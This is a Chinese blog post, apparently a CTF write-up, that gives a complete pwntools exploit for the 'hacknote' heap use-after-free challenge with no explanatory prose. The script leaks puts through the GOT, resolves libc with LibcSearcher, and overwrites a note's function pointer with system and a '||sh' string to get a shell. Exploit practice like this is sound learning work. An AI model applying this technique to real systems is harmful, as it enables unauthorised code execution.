• 博客园logo
  • 会员
  • 众包
  • 新闻
  • 博问
  • 闪存
  • 赞助商
  • HarmonyOS
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录

开心小市民

十年饮冰,不凉热血
  • 博客园
  • 管理

公告

View Post

堆(UAF)

堆(UAF)

exp

from pwn import *
from LibcSearcher import * 

p=process("./hacknote")
context.log_level="debug"

#p=remote("node4.buuoj.cn",27009)
elf=ELF("./hacknote")
puts_got=elf.got['puts']

def add(size,content):
    p.recvuntil("Your choice :")
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil("Content :")
    p.send(content)

def delete(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))

def show(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))


add(0x18,'aaaa')
add(0x18,'bbbb')
delete(0)
delete(1)

log.info('puts_got:'+hex(puts_got))
puts=0x804862b

payload=p32(puts)+p32(puts_got)
add(8,payload)

show(0)
puts_addr=u32(p.recv(4))
log.info("puts_addr:"+hex(puts_addr))

libc=LibcSearcher("puts",puts_addr) # this is a libcsearch object
libcbase=puts_addr-libc.dump("puts") # address
binsh_addr=libcbase+libc.dump("str_bin_sh") # address
system_addr=libcbase+libc.dump("system") # address
delete(2)

payload=p32(system_addr)+'||sh'
add(8,payload)
#gdb.attach(p)
show(0)


p.interactive()

posted on 2022-02-16 23:45  开心小市民  阅读(74)  评论(0)    收藏  举报

刷新页面返回顶部
 
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3